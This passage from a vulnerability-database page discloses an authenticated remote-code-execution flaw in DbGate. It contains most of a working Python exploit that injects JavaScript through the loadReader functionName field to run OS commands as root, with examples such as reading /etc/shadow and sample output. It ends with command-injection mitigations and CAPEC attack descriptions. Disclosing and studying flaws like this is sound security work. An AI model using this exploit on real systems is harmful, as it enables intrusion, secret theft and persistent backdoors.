is a keyword).\n \"\"\"\n print(\"[Phase 3] RCE via loadReader code injection\")\n print(f\" [*] Command: {command}\")\n\n uid = uuid.uuid4().hex[:12]\n jslout = f\"/tmp/_rce_{uid}.jsonl\"\n\n escaped_cmd = (command\n .replace(\"\\\\\", \"\\\\\\\\\")\n .replace(\"\u0027\", \"\\\\\u0027\")\n .replace(\"`\", \"\\\\`\"))\n\n payload_fn = (\n \"csvReader\\n\"\n \"var _r = (await import(\u0027child_process\u0027))\"\n f\".execSync(\u0027{escaped_cmd}\u0027,{{timeout:30000}})\"\n \".toString();\\n\"\n \"var NL = String.fromCharCode(10);\\n\"\n \"var _hdr = JSON.stringify({__isStreamHeader:true,\"\n \"columns:[{columnName:\u0027out\u0027}]});\\n\"\n \"var _rows = _r.split(NL)\"\n \".filter(function(l){return l.length\u003e0})\"\n \".map(function(l){return JSON.stringify({out:l})})\"\n \".join(NL);\\n\"\n f\"(await import(\u0027fs\u0027)).writeFileSync(\u0027{jslout}\u0027,\"\n \" _hdr + NL + _rows + NL);\\n\"\n \"//\"\n )\n\n headers = {\n \"Authorization\": f\"Bearer {token}\",\n \"Content-Type\": \"application/json\",\n }\n\n print(f\" [*] Injecting payload via functionName (bypasses require=null)\")\n\n try:\n r = requests.post(\n f\"{base}/runners/load-reader\",\n json={\"functionName\": payload_fn, \"props\": {}},\n headers=headers,\n timeout=35, verify=False,\n )\n print(f\" [*] Payload sent (status {r.status_code})\")\n except requests.exceptions.Timeout:\n print(f\" [*] Payload sent (timed out \u2014 command may still be running)\")\n except requests.exceptions.ConnectionError:\n print(f\" [*] Payload sent (connection reset \u2014 expected for some versions)\")\n except Exception as e:\n print(f\" [!] Send error: {e}\")\n return None\n\n print(f\" [*] Waiting for execution...\")\n for wait in [0.5, 1, 1.5, 2, 3, 5]:\n time.sleep(wait)\n try:\n r = requests.post(\n f\"{base}/jsldata/get-rows\",\n json={\"jslid\": f\"file://{jslout}\", \"offset\": 0, \"limit\": 10000},\n headers=headers,\n timeout=5, verify=False,\n )\n if r.status_code == 200:\n rows = r.json()\n if isinstance(rows, list) and len(rows) \u003e 0:\n print(f\" [+] Output captured ({len(rows)} lines)\")\n print()\n return \"\\n\".join(\n row.get(\"out\", \"\")\n for row in rows\n if isinstance(row, dict)\n )\n except requests.exceptions.ConnectionError:\n try:\n time.sleep(1)\n r = requests.post(\n f\"{base}/jsldata/get-rows\",\n json={\"jslid\": f\"file://{jslout}\", \"offset\": 0, \"limit\": 10000},\n headers=headers,\n timeout=5, verify=False,\n )\n if r.status_code == 200:\n rows = r.json()\n if isinstance(rows, list) and len(rows) \u003e 0:\n print(f\" [+] Output captured ({len(rows)} lines, after reconnect)\")\n print()\n return \"\\n\".join(\n row.get(\"out\", \"\")\n for row in rows\n if isinstance(row, dict)\n )\n except Exception:\n pass\n except Exception:\n pass\n\n print(f\" [-] Could not retrieve output (command may have failed)\")\n print()\n return None\n\n\ndef main():\n p = argparse.ArgumentParser(\n add_help=False,\n description=\"DBGate \u2014 Authenticated RCE PoC (loadReader code injection)\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n epilog=(\n \"Any authenticated DbGate user can escalate to root-level\\n\"\n \"command execution via unsanitized functionName injection.\\n\"\n \"This vulnerability is UNPATCHED as of DbGate 7.1.4.\\n\"\n \"\\n\"\n \"examples:\\n\"\n \" %(prog)s -t localhost -u admin -P \u0027password\u0027 -c \u0027id\u0027\\n\"\n \" %(prog)s -t 10.0.0.5:3000 -u admin -P \u0027s3cret\u0027 -c \u0027cat /etc/shadow\u0027\\n\"\n \" %(prog)s -t target.internal/dbgate -u admin -P \u0027pass\u0027 -c \u0027env\u0027\\n\"\n ),\n )\n p.add_argument(\"-t\", \"--target\", required=True, help=\"Target host[:port]\")\n p.add_argument(\"-u\", \"--user\", required=True, help=\"DbGate username\")\n p.add_argument(\"-P\", \"--password\", required=True, help=\"DbGate password\")\n p.add_argument(\"-c\", \"--command\", required=True, help=\"OS command to execute\")\n p.add_argument(\"-p\", \"--port\", type=int, default=None, help=\"Override port\")\n\n if len(sys.argv) == 1:\n p.print_help()\n sys.exit(1)\n args = p.parse_args()\n\n base_host, path = build_base(args.target, args.port)\n banner(base_host, args.command, args.user)\n\n base = discover_web_root(base_host, path)\n print(f\" [*] API endpoint : {base}\")\n print()\n\n info = phase1_recon(base)\n if not info.get(\"config\"):\n print(\"[!] Cannot reach target \u2014 verify host/port/web-root\")\n sys.exit(1)\n\n token = phase2_authenticate(base, info, args.user, args.password)\n if not token:\n print(\"[!] Authentication failed \u2014 check username/password\")\n sys.exit(1)\n\n output = phase3_rce(base, token, args.command)\n if output is not None:\n print(\"\u2500\" * 60)\n print(output.rstrip())\n print(\"\u2500\" * 60)\n print()\n print(\"[+] RCE successful: authenticated user \u2192 root command execution\")\n else:\n print(\"[!] No output captured (command may have failed or timed out)\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n\n\nAnd running the PoC Python script (requires valid credentials):\n\n```python\npython3 poc.py -t http://localhost -u admin -P \u0027SuperSecretPassword123\u0027 -c \u0027id\u0027\n```\n\nTerminal output:\n\n```\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 DBGate \u2014 Authenticated RCE PoC \u2502\n \u2502 loadReader functionName code injection \u2502\n \u2502 Affects ALL versions (unpatched as of 7.1.4) \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n Target : http://localhost:80\n User : admin\n Command: id\n\n [*] API endpoint : http://localhost:80\n\n[Phase 1] Reconnaissance\n [+] Version : 7.1.4\n [+] Docker : True\n [+] Data dir : /root/.dbgate\n [+] Auth : Login \u0026 Password (default: logins)\n\n[Phase 2] Authentication\n [+] Authenticated as \u0027admin\u0027\n [+] JWT obtained: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6I...\n\n[Phase 3] RCE via loadReader code injection\n [*] Command: id\n [*] Injecting payload via functionName (bypasses require=null)\n [*] Payload sent (status 500)\n [*] Waiting for execution...\n [+] Output captured (1 lines)\n\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n[+] RCE successful: authenticated user \u2192 root command execution\n```\n\n\u003cbr/\u003e\n\n### Impact\n\n- **Privilege escalation to root** \u2014 an authenticated DbGate user escalates from web UI access to a root OS shell inside the container\n- **Infrastructure secret theft** \u2014 `/proc/1/environ` exposes all container environment variables, which may include API keys, cloud tokens, and secrets beyond database credentials that are not visible through the DbGate UI\n- **Other users\u0027 credentials** \u2014 extracts `LOGIN_PASSWORD_*` env vars for all DbGate users, enabling password-reuse attacks against other systems\n- **Network pivot** \u2014 from inside the container, the attacker can scan and reach other services on the network that are not exposed externally\n- **Persistent backdoor** \u2014 root access allows modifying the DbGate application itself (e.g. `bundle.js`), installing cron jobs, or adding SSH keys \u2014 the backdoor survives credential rotation and DbGate restarts",
"id": "GHSA-wm5r-5qp3-5vxf",
"modified": "2026-06-05T16:30:59Z",
"published": "2026-06-05T16:30:59Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-wm5r-5qp3-5vxf"
},
{
"type": "PACKAGE",
"url": "https://github.com/dbgate/dbgate"
},
{
"type": "WEB",
"url": "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Authenticated Remote Code Execution via loadReader functionName code injection in DbGate"
}
GHSA-WM73-M5XH-QJ3H
Vulnerability from github – Published: 2023-08-09 09:30 – Updated: 2024-04-04 06:43There is a command injection problem in the old version of the mobile phone backup app.
{
"affected": [],
"aliases": [
"CVE-2023-26310"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-88"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-09T07:15:10Z",
"severity": "CRITICAL"
},
"details": "There is a command injection problem in the old version of the mobile phone backup app.\n",
"id": "GHSA-wm73-m5xh-qj3h",
"modified": "2024-04-04T06:43:25Z",
"published": "2023-08-09T09:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26310"
},
{
"type": "WEB",
"url": "https://security.oppo.com/en/noticeDetail?notice_only_key=NOTICE-1684402464721477632"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
If at all possible, use library calls rather than external processes to recreate the desired functionality.
Mitigation
If possible, ensure that all external commands called from the program are statically created.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
Mitigation
Assign permissions that prevent the user from accessing/opening privileged files.
CAPEC-136: LDAP Injection
An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-183: IMAP/SMTP Command Injection
An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.
CAPEC-248: Command Injection
An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.
CAPEC-40: Manipulating Writeable Terminal Devices
This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.
CAPEC-43: Exploiting Multiple Input Interpretation Layers
An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
CAPEC-75: Manipulating Writeable Configuration Files
Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.